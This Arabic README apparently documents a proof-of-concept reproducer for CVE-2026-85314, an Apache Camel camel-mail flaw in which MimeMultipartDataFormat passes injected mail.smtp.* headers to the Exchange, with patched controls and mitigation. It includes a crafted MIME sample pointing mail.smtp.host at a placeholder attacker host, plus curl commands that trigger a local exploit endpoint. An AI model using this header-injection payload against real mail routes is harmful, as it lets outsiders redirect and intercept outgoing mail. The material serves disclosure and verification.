
أداة إثبات مفهوم قابلة للتشغيل لإعادة إنتاج CVE-2026-85314، تُظهر حقن ترويسة mail.smtp في MimeMultipart الخاص بـ camel-mail في Camel Spring Boot وCamel Quarkus، مع عناصر تحكم مُرقّعة.
MimeMultipart (mail.smtp*)مُعيد إنتاج قابل للتشغيل لإثبات المفهوم لثغرة Apache Camel حيث كان تنسيق بيانات MimeMultipart في camel-mail يربط ترويسات الرسالة بـ Exchange عند فك الترميز باستخدام DefaultHeaderFilterStrategy عادي، والذي لا يزيل نطاق mail.smtp. / mail.smtps.. أغلق CVE-2026-46584 المسار الذي كانت تصل فيه ترويسات البريد إلى Exchange دون تصفية، لكن تنسيق البيانات هذا أبقى مسارًا غير مُصفّى: أسماء الترويسات تلك لا تحمل بادئة Camel (لذا فإن مرشّح ترويسات المستهلك لا يحجبها أيضًا)، كما يتحكم نطاق mail.smtp في كيفية اتصال منتج البريد اللاحق وإرساله. لذلك كان بإمكان مُرسِل خارجي لرسالة متعددة الأجزاء حقن خصائص جلسة JavaMail وإعادة توجيه اتصال البريد (CWE-20). وهو إصلاح غير مكتمل لـ CVE-2026-46584 وليس فئة عيب جديدة.
| بيئة التشغيل | الدليل | المكدّس |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-mail 4.22.0 (متأثر؛ مُصلَح في 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.39.0 + camel-quarkus-mail (Camel 4.22.0، متأثر؛ عنصر تحكم مُصلَح CQ 3.40.0 / Camel 4.22.1) |
يُظهر كلا الوحدتين السلوك المتأثر و السلوك المُصلَح مقابل MimeMultipartDataFormat الحقيقي.
يقوم برنامج التشغيل بفك ترميز رسالة متعددة الأجزاء يتحكم بها المهاجم (وضع الترويسات المضمّنة، على غرار اختبار الإصلاح نفسه MimeMultipartDataFormatTest) تحمل خصائص جلسة JavaMail كترويسات MIME، ثم يُبلّغ عن أي منها استقر على Exchange:
mail.smtp.host: attacker-smtp.example
mail.smtp.port: 2525
mail.smtps.auth: false
X-Normal: keep-me <- an unrelated header, should always survive
Content-Type: text/plain
Body text
mail.smtp.host وmail.smtp.port وmail.smtps.auth جميعها بعد إلغاء التسلسل وتصبح ترويسات Exchange — إذ سيقرأها منتج بريد لاحق، فيعيد المرسل توجيه وجهة إرسال البريد.mail.smtp.* عند إلغاء التسلسل (عبر MailHeaderFilterStrategy)، بينما يُحتفظ بالترويسة غير ذات الصلة X-Normal.# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: mail.smtp* injected = true; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85314-mail-mime-header-injection-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: mail.smtp* injected = false; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.22.0): mail.smtp* injected = true
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: mail.smtp* injected = false
| الخاصية | القيمة |
|---|---|
| المكوّن | camel-mail (MimeMultipartDataFormat، إلغاء التسلسل) |
| CWE | CWE-20 (تحقق غير صحيح من المدخلات) |
| الخطورة | متوسطة |
| ناقل الهجوم | تحمل رسالة متعددة الأجزاء من مرسل خارجي ترويسات MIME من نوع mail.smtp.*؛ ويقوم إلغاء التسلسل بإسنادها إلى Exchange |
| التأثير | توجّه خصائص جلسة JavaMail المحقونة طريقةَ ووجهةَ اتصال منتج البريد اللاحق وإرساله |
| الإصدارات المتأثرة | من 4.0.0 قبل 4.18.5، ومن 4.19.0 قبل 4.22.1 |
| الإصدارات المُصلحة | 4.18.5، 4.22.1، 4.23.0 |
| JIRA | CAMEL-24419 |
| ذو صلة | إصلاح غير مكتمل لـ CVE-2026-46584 |
| الفضل | Claude Security Scan Tool |
الإشعار الأمني: https://camel.apache.org/security/CVE-2026-85314.html
الوحدة المتأثرة في Quarkus مبنية على CQ 3.39.0 (Camel 4.22.0). أما الضابط المُرقَّع فهو CQ 3.40.0 (Camel 4.22.1).
أصبح MimeMultipartDataFormat يستخدم MailHeaderFilterStrategy بدلاً من
DefaultHeaderFilterStrategy، بحيث تُفلتر مساحة الأسماء mail.smtp. / mail.smtps. عند إلغاء التسلسل تمامًا كما
يفلترها مستهلك البريد على جانب الاستقبال (CAMEL-23522) — مما يُغلق المسار الذي تركه CVE-2026-46584 مفتوحًا.
أزل مساحة الأسماء بعد تنسيق البيانات باستخدام removeHeaders("mail.smtp*") قبل أي منتج بريد.
يُنشر هذا المستودع لأغراض تعليمية ودفاعية: لمساعدة مستخدمي Apache Camel على فهم
الثغرة الأمنية، والتحقق مما إذا كانوا متأثرين بها، وتأكيد أن الترقية تحلّها. الرسالة متعددة الأجزاء هي
عيّنة حميدة داخل العملية؛ وattacker-smtp.example عنصر نائب ولا يُرسَل أي بريد. لا تستخدم هذه المواد
ضد أنظمة لا تملكها أو لا تديرها.